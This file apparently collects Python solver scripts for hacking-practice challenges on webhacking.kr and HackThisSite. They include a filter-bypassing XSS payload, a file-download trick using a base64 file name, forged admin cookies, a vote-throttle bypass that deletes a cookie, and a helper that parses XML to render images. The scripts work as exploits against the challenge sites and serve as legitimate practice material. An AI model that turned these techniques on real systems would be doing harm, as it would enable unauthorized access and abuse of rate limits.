Hello Navi

#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-3/index.php"
PAYLOAD = "<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>"

def main() -> None:
    response = requests.get(
        BASE_URL + "?code=" + PAYLOAD,
        timeout=20,
    )
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()

from __future__ import annotations

import argparse
import base64
import io
import zipfile
import xml.etree.ElementTree as ET

import requests

WORD_NS = "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}"

def extract_text(docx_bytes: bytes) -> str:
    with zipfile.ZipFile(io.BytesIO(docx_bytes)) as archive:
        xml_bytes = archive.read("word/document.xml")
    root = ET.fromstring(xml_bytes)
    return "".join(node.text or "" for node in root.iter(WORD_NS + "t"))

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="https://webhacking.kr/challenge/web-20/")
    parser.add_argument("--filename", default="flag.docx")
    args = parser.parse_args()

    encoded_name = base64.b64encode(args.filename.encode("ascii")).decode("ascii")
    response = requests.get(args.url, params={"down": encoded_name}, timeout=20)
    response.raise_for_status()
    print(extract_text(response.content))

if __name__ == "__main__":
    main()

import base64
import hashlib
from urllib.request import Request

URL = "https://webhacking.kr/challenge/js-6/"

def build_userid_cookie(user_id):
    digests = [hashlib.md5(char.encode("utf-8")).hexdigest() for char in user_id]
    raw_value = "".join(digests).encode("ascii")
    base64_value = base64.b64encode(raw_value).decode("ascii")
    # Cookie value 不经过 query-string 的 URL encoding；保留 Base64 原值。
    return base64_value

def build_request(user_id):
    cookie_value = build_userid_cookie(user_id)
    return Request(
        URL,
        headers={"Cookie": f"userid={cookie_value}"},
        method="GET",
    )

if __name__ == "__main__":
    request = build_request("admin")
    print(request.full_url)
    print(request.get_header("Cookie"))

#!/usr/bin/env python3
import argparse
import os

import requests

def vote(session: requests.Session, endpoint: str, username: str) -> str:
    """Delete the challenge throttle cookie, then cast one vote."""
    session.cookies.pop("vote_check", None)
    response = session.get(endpoint, params={"hit": username}, timeout=20)
    response.raise_for_status()
    return response.text

def main() -> None:
    parser = argparse.ArgumentParser(description="Repeat old-32 votes in one session")
    parser.add_argument("--base", default="https://webhacking.kr")
    parser.add_argument("--user", default="JHsoda10")
    parser.add_argument("--count", type=int, default=100)
    args = parser.parse_args()

    if args.count < 1:
        raise SystemExit("--count must be positive")

    session = requests.Session()

    endpoint = args.base.rstrip("/") + "/challenge/code-5/"
    for number in range(1, args.count + 1):
        body = vote(session, endpoint, args.user)
        print(f"vote {number}/{args.count}: {len(body)} bytes")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import base64
import os
import sys

import requests

URL = os.environ.get(
    "OLD06_URL", "https://webhacking.kr/challenge/web-06/"
)
DIGIT_REPLACEMENTS = str.maketrans({
    "1": "!",
    "2": "@",
    "3": "$",
    "4": "^",
    "5": "&",
    "6": "*",
    "7": "(",
    "8": ")",
})

def encode_cookie(value: str) -> str:
    encoded = value.encode("ascii")
    for _ in range(20):
        encoded = base64.b64encode(encoded)
    return encoded.decode("ascii").translate(DIGIT_REPLACEMENTS)

def main() -> int:
    cookies = {
        "user": encode_cookie("admin"),
        "password": encode_cookie("nimda"),
    }
    with requests.Session() as session:
        response = session.get(URL, cookies=cookies, timeout=10)
        response.raise_for_status()
        print(response.text)
    return 0

if __name__ == "__main__":
    sys.exit(main())

# -- coding: utf-8 --
#!/usr/bin/env python3
"""HackThisSite Programming 4 manual-reading assistant.

Modes:
  offline: read a saved XML;
  live:    GET a fresh XML into scratch using HTS_COOKIE.

The script performs only fetch/decompress/parse/render. It never POSTs and never
writes the cookie. It creates five complete colour layers in answer order:
01-blue.png, 02-green.png, 03-red.png, 04-yellow.png, 05-white.png.
Each image keeps the original 1000x1000 canvas and all geometry for that colour.
"""
from __future__ import annotations

import argparse
import bz2
import hashlib
import json
import math
import os
import re
import sys
import time
import xml.etree.ElementTree as ET
from pathlib import Path
from urllib.request import Request, urlopen

from PIL import Image, ImageDraw

BASE = "https://www.hackthissite.org"
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
      "Chrome/131.0.0.0 Safari/537.36")
ORDER = ("blue", "green", "red", "yellow", "white")
RGB = {
    "blue": (0, 0, 255),
    "green": (0, 255, 0),
    "red": (255, 0, 0),
    "yellow": (255, 255, 0),
    "white": (255, 255, 255),
}
CANVAS = 1000
SCALE = 4
WIDTH = 2 * SCALE


def fetch_url(url: str, headers: dict[str, str]):
    request = Request(url, headers=headers)
    with urlopen(request, timeout=20) as response:
        return response.read(), dict(response.headers)


def fetch_live(cookie: str, out: Path):
    """Fetch and decompress one instance; cookie is kept only in memory."""
    out.mkdir(parents=True, exist_ok=True)
    headers = {
        "User-Agent": UA,
        "Cookie": cookie,
        "Referer": BASE + "/missions/programming/",
    }
    page_bytes, _ = fetch_url(BASE + "/missions/prog/4/", headers)
    page_text = page_bytes.decode("utf-8", errors="replace")
    links = re.findall(
        r'href=["\']([^"\']*prog/4/(?:XML|xml)[^"\']*)',
        page_text,
        flags=re.I,
    )
    url = (
        BASE + links[0] if links and links[0].startswith("/")
        else links[0] if links else BASE + "/missions/prog/4/XML/"
    )
    if not url.endswith("/"):
        url += "/"
    packed, response_headers = fetch_url(url, headers)
    if packed[:3] != b"BZh":
        raise RuntimeError(
            "XML endpoint did not return bzip2; "
            f"bytes={len(packed)} content_type={response_headers.get('Content-Type')}"
        )
    raw = bz2.decompress(packed)
    xml = out / "instance.xml"
    (out / "instance.xml.bz2").write_bytes(packed)
    xml.write_bytes(raw)
    return xml, url, packed, raw


def local(tag):
    return tag.rsplit("}", 1)[-1]


def load_xml(path: Path):
    raw = path.read_bytes()
    if raw.startswith(b"BZh"):
        raw = bz2.decompress(raw)
    return ET.fromstring(raw)


def draw_colour(xml: Path, colour: str, dst: Path):
    """Render one complete colour layer on the original 1000x1000 canvas."""
    root = load_xml(xml)
    image = Image.new("RGB", (CANVAS * SCALE, CANVAS * SCALE), "black")
    draw = ImageDraw.Draw(image)
    count = 0
    for element in root:
        kind = local(element.tag)
        data = {local(x.tag): (x.text or "").strip() for x in element}
        current = (data.get("Color") or "white").lower()
        if current != colour:
            continue
        count += 1
        ink = RGB[colour]
        if kind == "Line":
            x0 = float(data["XStart"]) * SCALE
            y0 = (CANVAS - float(data["YStart"])) * SCALE
            x1 = float(data["XEnd"]) * SCALE
            y1 = (CANVAS - float(data["YEnd"])) * SCALE
            draw.line((x0, y0, x1, y1), fill=ink, width=WIDTH)
        elif kind == "Arc":
            cx = float(data["XCenter"])
            cy = float(data["YCenter"])
            radius = float(data["Radius"])
            start = float(data["ArcStart"])
            extend = float(data["ArcExtend"])
            box = (
                (cx - radius) * SCALE,
                (CANVAS - (cy + radius)) * SCALE,
                (cx + radius) * SCALE,
                (CANVAS - (cy - radius)) * SCALE,
            )
            draw.arc(box, -(start + extend), -start, fill=ink, width=WIDTH)
    image.resize((CANVAS, CANVAS), Image.Resampling.LANCZOS).save(dst)
    return count


def render(xml: Path, out: Path):
    out.mkdir(parents=True, exist_ok=True)
    counts = {}
    files = {}
    for index, colour in enumerate(ORDER, 1):
        dst = out / f"{index:02d}-{colour}.png"
        counts[colour] = draw_colour(xml, colour, dst)
        files[colour] = str(dst)
    return counts, files


def main():
    ap = argparse.ArgumentParser()
    src = ap.add_mutually_exclusive_group(required=True)
    src.add_argument("--xml", type=Path, help="use a saved XML; no network")
    src.add_argument("--bz2", type=Path, help="use a saved bzip2 XML; decompress locally")
    src.add_argument("--live", action="store_true", help="fetch one fresh XML")
    ap.add_argument("--cookie", default=os.environ.get("HTS_COOKIE"),
                    help="session cookie for --live; never written")
    ap.add_argument("--out", type=Path, default=None,
                    help="output directory; defaults to Hermes scratch")
    args = ap.parse_args()
    started = time.monotonic()
    if args.live:
        if not args.cookie:
            raise SystemExit("--live requires HTS_COOKIE or --cookie")
        out = args.out or Path("hts4-manual-" + str(int(time.time())))
        xml, url, packed, raw = fetch_live(args.cookie, out)
    else:
        out = args.out or Path("hts4-manual-offline")
        out.mkdir(parents=True, exist_ok=True)
        if args.bz2:
            packed = args.bz2.read_bytes()
            if packed[:3] != b"BZh":
                raise SystemExit(f"not a bzip2 file: {args.bz2}")
            raw = bz2.decompress(packed)
            xml = out / "instance.xml"
            xml.write_bytes(raw)
            url = "offline-bz2"
        else:
            xml = args.xml.resolve()
            url, packed, raw = "offline", b"", xml.read_bytes()
    counts, files = render(xml, out / "colours")
    result = {
        "xml": str(xml),
        "url": url,
        "xml_sha256": hashlib.sha256(raw).hexdigest(),
        "bz2_sha256": hashlib.sha256(packed).hexdigest() if packed else None,
        "out": str(out),
        "colour_dir": str(out / "colours"),
        "files": files,
        "counts": counts,
        "elapsed_s": round(time.monotonic() - started, 3),
        "posted": False,
    }
    (out / "result.json").write_text(
        json.dumps(result, indent=2), encoding="utf-8"
    )
    print(json.dumps(result, indent=2))
    print("Read montages in order: " + ",".join(ORDER))


if __name__ == "__main__":
    main()